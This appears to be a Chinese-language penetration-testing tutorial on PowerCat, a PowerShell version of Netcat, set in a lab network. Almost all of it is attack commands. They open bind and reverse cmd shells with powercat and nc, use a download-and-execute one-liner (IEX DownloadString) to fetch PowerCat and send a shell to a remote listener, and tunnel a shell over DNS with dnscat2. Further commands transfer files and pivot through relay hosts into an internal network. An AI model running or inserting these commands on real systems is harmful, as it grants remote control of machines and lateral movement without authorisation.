PowerCat脚本是Netcat的PowerShell版本
github地址: https://github.com/besimorhino/powercat
下载下来之后,在PowerShell命令环境下进入到PowerCat目录,然后导入PowerCat脚本 输入命令,但是导入会出错,一般是权限问题:
Import-Module .powercat.ps1
修改一些权限,可以执行脚本就可以了,然后导入模块
Set-ExecutionPolicy RemoteSigned
导入之后使用 -h 参数查看帮助信息,因为称之为PowerShell版的NetCat,所以说都差不多的,而且两者可以相互连接
代码语言:javascript复制-l 监听一个连接
-c 连接到一个监听
-p 指定端口
-e 指定一个程序执行
-ep 执行Powershell
-v 显示详细信息
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i Input: Filepath (string), byte array, or string. [object]
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of Output File Path. [String]
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g Generate Payload. [Switch]
-ge Generate Encoded Payload. [Switch]
-h 打印出帮助
正向连接Shell
代码语言:javascript复制因为PowerCat可以和NC连接,可以把Windows下的cmd 传给 kali上
在windows上输入命令:
powercat -l -p 8888 -e cmd -v
kali上监听端口:
nc 192.168.1.111 8888 -v
远程下载PowerCat
使用PowerShell远程下载PowerCat执行反弹shell命令
代码语言:javascript复制Windows端输入命令:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd
自己这端输入命令:
nc -lvp 6666 或者 powercat -l -p 6666
反向连接Shell
代码语言:javascript复制在kali上面执行命令:
nc -lvp 8888 -vv
在windows上执行命令:
powercat -c 192.168.1.106 -p 8888 -v -e cmd
使用PowerCat传送文件
传输文件需要的参数:
·-i : 输入,可以写文件名
·-of :输出文件名,可以在文件名前面添加路径 Windows10上面执行命令:
代码语言:javascript复制powercat -c 192.168.1.111 -p 9999 -i C:UsersjenDesktopnihao.txt -v
Windows7上面执行命令:
powercat -l -p 9999 -of nihao.txt -v
PowerCat 的DNS通信隧道 PowerCat的DNS通信隧道时基于dnscat设计的。它的服务端就是dnscat。首先我们先安装dnscat
代码语言:javascript复制git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
安装好了之后在Linux主机使用命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
接着在windows机器上执行命令,这样Linux就会接收到一个shell了
powercat -c 192.168.1.112 -p 53 -dns ttpowercat.test -e cmd.exe # -dns 表示使用DNS通信
PowerCat做为跳板使用
还是比较常见的攻击者可以访问WEB但是攻击者不能访问内网的服务器但是WEB服务器可以访问内网。这里kali Linux主机要和 Windows 2008通信,就要将Windows7做为跳板间接访Windows2008。
代码语言:javascript复制Windows2008机器输入命令:
powercat -l -p 6666 -e cmd.exe
Windows7机器输入命令:
powercat -l -v -p 8000 -r tcp:192.168.138.138:6666
Kali Linux输入命令:
nc 192.168.1.111 8000 -v
PowerCat做为跳板使用DNS协议
代码语言:javascript复制Windows7机器输入命令:
powercat -l -p 8000 -r dns:192.168.1.112::ttpowercat.test
Kali Linux输入命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
Windows2008机器输入命令:
powercat -c 192.168.138.136 -p 8000 -v -e cmd.exe
首先在Windows7上面输入命令,和Winodws2008端口建立连接,流量传入Windows2008的8080端口
Kali Linux上面启动dnscat
Windows2008启动转发,把cmd通过8080端口传给Windows7
接着Kali Linux上面就可以操作Windows2008了